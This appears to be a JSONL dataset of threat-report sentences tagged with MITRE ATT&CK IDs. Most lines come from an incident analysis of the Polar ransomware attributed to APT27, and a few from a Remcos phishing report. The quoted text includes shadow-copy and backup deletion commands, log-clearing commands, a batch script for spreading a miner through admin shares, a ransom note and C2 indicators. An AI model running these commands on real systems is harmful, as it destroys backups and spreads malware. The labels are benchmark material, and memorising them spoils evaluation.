{"sentence": "Deletion occurs in the standard (insecure) way, which enables recovering the data if disk access is stopped in time and the information has not been overwritten.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "Sysurl.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "Hex is an encrypted copy of the Polar ransomware.", "labels": ["T1027"], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "This payload call sequence (in which a legitimate application loads a malicious library, which in turn decrypts a third component and passes control to it) is very commonly used to run the PlugX backdoor, which is widely seen among such Asian APT groups as APT10, APT41, TA459, and Bronze Union.", "labels": ["T1140"], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "Let's consider the decrypted and decoded version of the ransomware (MD5: 841980b4ae02a4e6520ab834deee241b) in greater detail.", "labels": ["T1140"], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "Based on how GameuxInstallHelper.dll is launched, we quickly can guess that this file, too, is an executable file compiled with .NET.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "The compilation date is April 9, 2020.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "The code entry point is the Actions method of the Encode class in the Polar name space (which is the name we have used for the malware family).", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "The malware deletes system event logs and shadow copies by performing the following commands: dism /online /enable-feature /featurename:NetFx3 vssadmin.exe Delete Shadows /All", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "/Quiet bcdedit /set {default} recoveryenabled no wmic shadowcopy delete wbadmin delete backup wbadmin delete systemstatebackup -keepversions:0 bcdedit /set {default} bootstatuspolicy ignoreallfailures bcdedit /set {default} recoveryenabled no wevtutil.exe clear-log Application wevtutil.exe clear-log Security wevtutil.exe clear-log System wbadmin delete catalog -quiet wbadmin delete catalog -quiet wbadmin delete systemstatebackup", "labels": ["T1047", "T1059.003"], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "It then looks for and stops the following processes: agntsvc.exe agntsvc.exe agntsvc.exe agntsvc.exe dbeng50.exe dbsnmp.exe encsvc.exe excel.exe firefoxconfig.exe infopath.exe isqlplussvc.exe msaccess.exe msftesql.exe mspub.exe mydesktopqos.exe mydesktopservice.exe mysqld-nt.exe mysqld-opt.exe mysqld.exe notepad++.exe notepad.exe ocautoupds.exe ocomm.exe ocssd.exe onenote.exe oracle.exe outlook.exe powerpnt.exe sqbcoreservice.exe sqlagent.exe sqlbrowser.exe sqlservr.exe sqlwriter.exe steam.exe synctime.exe tbirdconfig.exe thebat.exe thebat64.exe thunderbird.exe visio.exe winword.exe wordpad.exe xfssvccon.exe Then the malware gets a list of connected disks and starts recursive traversal of directories, skipping a few of them: C:\\Windows C:\\Program Files C:\\Program Files (x86) C:\\ProgramData C:\\Python $SysReset $Recycle.", "labels": ["T1057", "T1083"], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "Bin $RECYCLE.BIN It cares only about files with the following extensions: .3dm .3ds .3g2 .3gp .7z .accdb .ai .aif", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": ".asf .asp .aspx .avi .bak .bin .bmp", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": ".c .cbr .cer .cfm .class .cpp .crdownload .cs .csr .css .csv .cue .dat .db", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": ".dbf .dds", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": ".deb", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": ".dmg .dmp .doc .docx .dtd .dwg", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": ".dxf .eps .fla .flv", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": ".ged .gif .gz", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": ".h .html .ics .iff .indd .ini .iso .java .jpg", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": ".js", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": ".jsp .key .keychain .log .lua", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": ".m3u .m4a .m4v .max .mdb", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": ".mdf", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": ".mid .mov .mp3 .mp4", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": ".mpa", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": ".mpg .msg .msi .obj .odt .pages .part .pct .pdb", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": ".pkg .pl .png", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": ".pps .ppt .pptx .ps .psd .py .rar .rm", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": ".rpm .rss .rtf", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": ".sdf .sh .sitx .sln .sql .srt .svg .swf .swift .tar .tar.gz .tax2014 .tax2015 .tex .tga .thm .tif .tiff .tmp .toast .torrent .txt .vb .vcd .vcf .vcxproj .vob .wav .wma", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": ".wmv", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": ".wpd .wps .xcodeproj .xhtml .xlr .xls .xlsx .xml", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": ".yuv .zip .zipx Before starting encryption, the malware creates what we will call a base encryption key consisting of eight randomly chosen characters from the following alphabet: abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890*!=&?&/ Two approaches to encryption are used, depending on the file size.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "Each approach involves a different encryption key.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "The base encryption key is used in both approaches, however.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "First we will look at the approach for encryption of files with size less than 64,052,000 bytes (approximately 61 MB).", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "The intermediate password is the SHA-256 hash sum of the base encryption key.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "It is identical for all files and is used with a hard-coded salt and 1,000 iterations to generate the encryption key and initialization vector.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "Each key is encrypted with AES-CBC.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "The .locked extension is added to encrypted files.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "Larger files are encrypted in a different way.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "In this case, the 16-byte encryption key is formed by taking the first 8 bytes from the base encryption key and the remaining 8 bytes from an additional hard-coded array.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "This is followed by a custom implementation of AES-ECB.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "Blocks of 16 bytes are encrypted, with the next 12,800 bytes skipped.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "The result is that only small parts of the file—not the entire file—are encrypted.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "This method was likely to chosen to speed up the encryption process.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "Encrypted files have the .cryptd extension.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "Note that the result is creation of a new file (where the encrypted stream is written).", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "The original file is insecurely deleted.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "Therefore, the original files can also be recovered from unallocated disk space if they have not yet been overwritten with fresh information.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "In each directory containing encrypted files, a file named readme_contact_alex.dali@iran.ir.htm is created with the following contents: Your companies cyber defense systems have been weighed, measured and have been found wanting!!!", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "The breach is a result of grave neglect of security protocols All of your computers have been corrupted with Polar malware that has encrypted your files.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "We ensure that the only way to retrieve your data swiftly and securely is with our software.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "Restoration of your data requires a private key which only we possess Don't waste your time and money purchasing third party software, without the private key they are useless.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "It is critical that you don't restart or shutdown your computer.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "This may lead to irreversible damage to your data and you may not be able to turn your computer back on.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "To confirm that our software works email to us 2 files from random computers you will get them decrypted.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "readme_contact_alex.dali@iran.ir.htm contain encrypted session keys we need in order to be able to decrypt your files.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "The softwares price will include a guarantee that your company will never be inconvenienced by us.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "You will also receive a consultation on how to improve your companies cyber security If you want to purchase our software to restore your data contact us at: Pt34Jarmys@protonmail.com alex.dali@iran.ir We can only show you the door.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "You're the one who has to walk through it.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "Your personal installation key:*REDACTED* The text of the ransom demand resembles that used by MegaCortex ransomware.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "The ransom demand contains a modified version of the base encryption key.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "This version is derived by encrypting the base encryption key with RSA (with a hard-coded 1024-byte public key) and encoding it in Base64.", "labels": ["T1027"], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "After file encryption is completed, the malware writes an image (contained in executable file resources) to disk at the path c:\\programdata\\Rs.bmp and sets it as the desktop background.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "The malware subsequently repeats the same procedure for deleting system event logs and shadow copies that it performed at the start.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "Then it sends an HTTP POST request with the name of the victim's computer to a server at hxxp://www.therockbrazil.com.br/assinaturas/logs.php.", "labels": ["T1071.001"], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "How we decrypted the files Readers following the chain of encryption steps have likely noticed that the security of this whole encryption system depends on what we have called the base encryption key.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "Its value is encrypted with RSA-1024 and placed in the ransom demand.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "Currently, there are no methods that are both cheap and fast for factoring a key of such size.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "So we tried another tactic.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "Remember that the base key is generated by taking eight random characters from the alphabet quoted earlier.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "Here is how the implementation works: The Random function is called once, without any arguments.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "This call returns a random number, the seed for pseudorandom generation of which is taken from the value of the Environment.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "TickCount variable.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "This variable is 4 bytes and stores the number of milliseconds since the operating system started.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "So to decode the files, all we need to know is the uptime (how long the computer has been turned on) as of when the ransomware ran.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "But how simple is it to calculate?", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "Most of the affected computers had not only been disconnected from the corporate network, but turned off for analysis of the hard drive contents.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "Due to this, the uptime of the computers could not be known.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "The operating system logs contain timestamps for shutdown and power on.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "But in this case, the ransomware destroys these logs twice.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "So we were unable to find any clues pointing at possible values of uptime on the affected computers themselves.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "Fortunately, however, SCCM was used on the client infrastructure, with client-side agents running on all the encrypted computers.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "The information we needed was stored centrally and had not been tampered with: all we needed was some trial-and-error to choose the right values.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "Now that we had relatively precise uptime values, we needed to determine when the ransomware had run.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "Remember that at the end, the malware deletes the intermediate DLL library and encrypted ransomware, but not the legitimate executable file whose process is used for performing the malicious actions.", "labels": ["T1070.004"], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "In other words, the time at which this file appeared on the system should be the approximate time when the ransomware ran, to within several seconds.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "We succeeded in bruteforcing the exact value of the base encryption key in about a minute on an ordinary workstation (on the order of a few tens of thousands of iterations).", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "We could then decrypt the remaining files.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "In a few cases, we had a tougher time bruteforcing the key at first.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "The reason was that the timezones had been set incorrectly.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "With this realization, we were able to conquer this issue as well.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "Attribution We mentioned the SysUpdate and HyperBro backdoors from the attackers' toolkit.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "These are somewhat esoteric Remote Access Trojans used by the APT27 group (also known as Bronze Union, LuckyMouse, Emissary Panda, or Iron Tiger).", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "The group likely has Asian roots, with activity since at least 2010.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "The group focuses its attention on government targets in the defense and energy industries, as well as aerospace and manufacturing.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "Most commonly, the original attack vector is a compromise of the victim's web servers by exploiting vulnerabilities, bruteforcing credentials, or taking advantage of web server misconfigurations.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "Despite the similarities in tactics, techniques, and procedures (TTPs) and use of a telltale toolkit, some of the team's researchers are skeptical about attribution of the attacks to APT27.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "Choice of target Media companies had never been of interest for APT27.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "This is consistent with the findings of our incident investigation: the attackers did not try to access private information on the target infrastructure, instead only running software for direct financial gain.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "Cryptocurrency mining and ransomware", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "This is atypical and, moreover, ill-suited software that can quickly attract attention and wreck any plans for long-term cyberspying.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "The URL address to which the ransomware \"phones home\" upon completing its work does not have anything in common with APT27 network infrastructure.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "Of course, some groups (such as Lazarus and Winnti) combine cyberspying with direct financial motivations, so perhaps APT27 is broadening its previously limited range of interests.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "Or, as an alternative, the group has reached an agreement with other attackers for use of their software in return for a part of the proceeds.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "In favor of attribution of Polar to APT27, we can note the sequence of payload, execution, and naming: the encrypted SysUpdate backdoor is often named sys.bin.url and the Polar ransomware was named Sysurl.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "Hex, in a rather similar way.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "However, this could also be a false flag.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "3. Automation in 2018 and 2020 Here is the script used to automatically install a cryptocurrency miner on a list of computers in 2018: @echo off for /f", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "%%i in (c:\\programdata\\list.txt) do ( net use \\\\%%i\\c$ \"*\" /u:*\\administrator copy c:\\programdata\\vmnat.exe \\\\%%i\\c$\\windows\\system32\\vmnat.exe SCHTASKS /Create /S", "labels": ["T1053.005"], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "i /u", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "*\\administrator /p \"*\" /tn", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "* /tr \"cmd.exe /c start c:\\windows\\system32\\vmnat.exe\" /sc", "labels": ["T1059.003"], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "onstart /RU SYSTEM schtasks /run", "labels": ["T1053.005"], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "*\\administrator /p \"*\" /tn * net use \\\\%%i\\c$ /del net use * /del /Y ) del vmnat.exe del list.txt del work.bat", "labels": ["T1070.004"], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "And this is the script used to automatically delete the ransomware from a list of computers in 2020: @echo off for /f", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "%%i in (c:\\programdata\\list.txt) do ( net use \\\\%%i\\c$ \"*\" /u:*\\* if not errorlevel 1 ( del \\\\%%i\\c$\\programdata\\GameuxInstallHelper.dll del \\\\%%i\\c$\\programdata\\GDFInstall.exe del \\\\%%i\\c$\\programdata\\Sysurl.", "labels": ["T1070.004"], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "Hex net use \\\\%%i\\c$ /del )ELSE ( echo not access %%", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "i >>", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "c:\\programdata\\no_access.txt ) ) (We replaced sensitive information with '*')", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "The scripts show certain similarities in structure and have the same loop of file lines at the same path.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "On the other hand, the indentation, script tasks, and file naming are different.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "Some of the commands are too general to tell, since they could have been found in online search results and reused.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "Bodies of the SysUpdate and HyperBro backdoors We were not able in some cases to confirm the presence of a given backdoor based on the body of the Trojan itself.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "We identified the HyperBro backdoor, which had been used in 2018, based on the distinctive file name combined with other confirmed tools.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "We confirmed the SysUpdate backdoor, used in 2020, by looking at the C2 address and backdoor body in the process dump memory that had been uploaded to VirusTotal during investigation from an organization not linked to our client.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "Taken together, these similarities certainly point to APT27 as a culprit, but are not entirely conclusive.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "Therefore we leave it to the reader to choose whether to concur regarding involvement by APT27. Conclusion In this article, we have described an APT27 attack on a media company.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "The cybercriminals obtained access to the company's headquarters by compromising an office in a foreign country.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "They maintained control of the infrastructure for two years.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "They used both publicly available and custom-developed tools that had been seen previously.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "The hackers, while not changing their TTPs, chose rather unusual software to monetize their attacks.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "Perhaps the compromise of this client was an accident and this was merely an attempt to obtain at least some benefit.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "User data was encrypted, after which a ransom demand was made.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "A mistake in the ransomware's cryptographic algorithms enabled us to recover the encrypted files.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "To our knowledge, the attackers did not obtain access to information of any value whatsoever, ultimately leaving them with nothing to show for their efforts.", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "Authors: Denis Goydenko and Alexey Vishnyakov, Positive Technologies MITRE TTPs Tactic ID Name Initial Access T1190 Exploit Public-Facing Application T1199 Trusted Relationship Execution T1059 Command and Scripting Interpreter:", "labels": ["T1059.003", "T1190"], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "Windows Command Shell T1053 Scheduled Task/Job: Scheduled Task T1047 Windows Management Instrumentation Persistence T1547 Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder T1574 Hijack Execution Flow: DLL Search Order Hijacking T1053 Scheduled Task/Job: Scheduled Task T1078 Valid Accounts: Domain Accounts T1078 Valid Accounts: Default Accounts Privilege Escalation T1068 Exploitation for Privilege Escalation Defense Evasion T1140 Deobfuscate/Decode Files or Information T1070 Indicator Removal on Host: Clear Windows Event Logs T1070 Indicator Removal on Host: File Deletion T1070 Indicator Removal on Host: Timestomp Credential Access T1003 OS Credential Dumping: LSASS Memory Discovery T1087 Account Discovery: Domain Account T1082 System Information Discovery T1049 System Network Connections Discovery Lateral Movement T1210 Exploitation of Remote Services T1570 Lateral Tool Transfer T1021 Remote Services: SMB/Windows Admin Shares Collection T1560 Archive Collected Data: Archive via Utility T1005 Data from Local System T1119 Automated Collection T1039 Data from Network Shared Drive Command and Control T1071 Application Layer Protocol: Web Protocols T1132 Data Encoding: Standard Encoding T1573 Encrypted Channel:", "labels": ["T1003.001", "T1005", "T1016", "T1047", "T1053.005", "T1059.003", "T1068", "T1071.001", "T1078", "T1082", "T1140", "T1210", "T1547.001", "T1570", "T1573.001"], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "Symmetric Cryptography Exfiltration T1020 Automated Exfiltration T1041 Exfiltration Over C2 Channel Impact T1486 Data Encrypted for Impact IOCs ChinaChopper: 2ce60073c09887f9e3a482097294e17d 5bc0d6918e03a92f04b3dfc21b619c7f 73717a2f9bfe19ccdad541bec1fa2b69 82a8470534d74c9c5c0d84071eb0a703 b89e96e2ea8dd6fdb438f7d5b8ecf60c TwoFace: 581c331d41ef5f5df99ae0d16b2cebf0 84816f2e1f321f45c15c80b5cd6b4d37 ff2693903a1049984745e79381e9ed7e SysUpdate: 3c1981991cce3b329902288bb2354728 43a2c2fb8d52dc1835ac18516b13aff1 4b5484e3de5c5a2e60fcee50d04183d6 SysUpdate C&C: 103.59.144[.]183 95.179.189[.]33 NBTScan: f01a9a2d1e31332ed36c1a4d2839f412 SMBTouch: b50fff074764b3a29a00b245e4d0c863 PsExec: aeee996fd3484f28e5cd85fe26b6bdcd Termite: dc92496358b8e67568a35b861ba1804e39e3d36b Dsquery: 3583d7c971de148a1ffb3302d1510ef1 EternalBlue:", "labels": ["T1041", "T1573.001"], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "8c80dd97c37525927c1e549cb59bcbf3 frsocks: da0c13d834cafc010bec1afa2d76196ced71e661 Mimikatz: 449da3d7405c2c79fa55bd7973096e28 0078ff05c20689f40ea9cb8c47fcfb2e52cdc3a9 BitMiner: 5430039162e58c44f9a5941295b55fba Polar:", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "841980b4ae02a4e6520ab834deee241b", "labels": [], "doc_title": "Investigation with a twist an accidental APT attack and averted data destruction"}
{"sentence": "Threat actors often take advantage of current events and major news headlines to align attacks and leverage social engineering when people could be more likely to be distracted or misled.", "labels": [], "doc_title": "Threat actors strive to cause Tax Day headaches"}
{"sentence": "Tax season is particularly appealing to threat actors because not only are people busy and under stress, but it is intrinsically tied to financial information.", "labels": [], "doc_title": "Threat actors strive to cause Tax Day headaches"}
{"sentence": "With U.S. Tax Day approaching, Microsoft has observed phishing attacks targeting accounting and tax return preparation firms to deliver the Remcos remote access trojan (RAT) and compromise target networks beginning in February of this year.", "labels": [], "doc_title": "Threat actors strive to cause Tax Day headaches"}
{"sentence": "Remcos, which stands for “Remote Control and Surveillance”, is a closed-source tool that allows threat actors to gain administrator privileges on Windows systems remotely.", "labels": [], "doc_title": "Threat actors strive to cause Tax Day headaches"}
{"sentence": "It was released in 2016 by BreakingSecurity, a European company that markets Remcos and other offensive security tools as legitimate software.", "labels": [], "doc_title": "Threat actors strive to cause Tax Day headaches"}
{"sentence": "In 2021, CISA listed Remcos among its top malware strains, citing its use in mass phishing attacks using COVID-19 pandemic themes targeting businesses and individuals.", "labels": [], "doc_title": "Threat actors strive to cause Tax Day headaches"}
{"sentence": "While social engineering lures like this one are common around Tax Day and other big topic current events, these campaigns are specific and targeted in a way that is uncommon.", "labels": [], "doc_title": "Threat actors strive to cause Tax Day headaches"}
{"sentence": "The targets for this threat are exclusively organizations that deal with tax preparation, financial services, CPA and accounting firms, and professional service firms dealing in bookkeeping and tax.", "labels": [], "doc_title": "Threat actors strive to cause Tax Day headaches"}
{"sentence": "This campaign can be detected in Microsoft Defender Antivirus, built into Windows and on by default, as well as Microsoft 365 Defender.", "labels": [], "doc_title": "Threat actors strive to cause Tax Day headaches"}
{"sentence": "The campaign uses lures masquerading as tax documentation sent by a client, while the link in the email uses a legitimate click-tracking service to evade detection.", "labels": [], "doc_title": "Threat actors strive to cause Tax Day headaches"}
{"sentence": "The target is then redirected to a legitimate file hosting site, where the actor has uploaded Windows shortcut (.LNK) files.", "labels": [], "doc_title": "Threat actors strive to cause Tax Day headaches"}
{"sentence": "Remcos malware phishing lure These LNK files generate web requests to actor-controlled domains and/or IP addresses to download malicious files.", "labels": [], "doc_title": "Threat actors strive to cause Tax Day headaches"}
{"sentence": "These malicious files then perform actions on the target device and download the Remcos payload, providing the actor potential access to the target device and network.", "labels": [], "doc_title": "Threat actors strive to cause Tax Day headaches"}
{"sentence": "Microsoft is sharing this information along with detections and recommendations with the community to help users and defenders stay vigilant against this campaign with Tax Day approaching in the U.S. on April 18.", "labels": [], "doc_title": "Threat actors strive to cause Tax Day headaches"}
{"sentence": "Microsoft 365 Defender and Microsoft Defender Antivirus detect and block Remcos and other malicious activity related to this campaign.", "labels": [], "doc_title": "Threat actors strive to cause Tax Day headaches"}
{"sentence": "Phishing campaign analysis What we have observed is that the link in the phishing email points to Amazon Web Services click tracking service at awstrack[.]me.", "labels": [], "doc_title": "Threat actors strive to cause Tax Day headaches"}
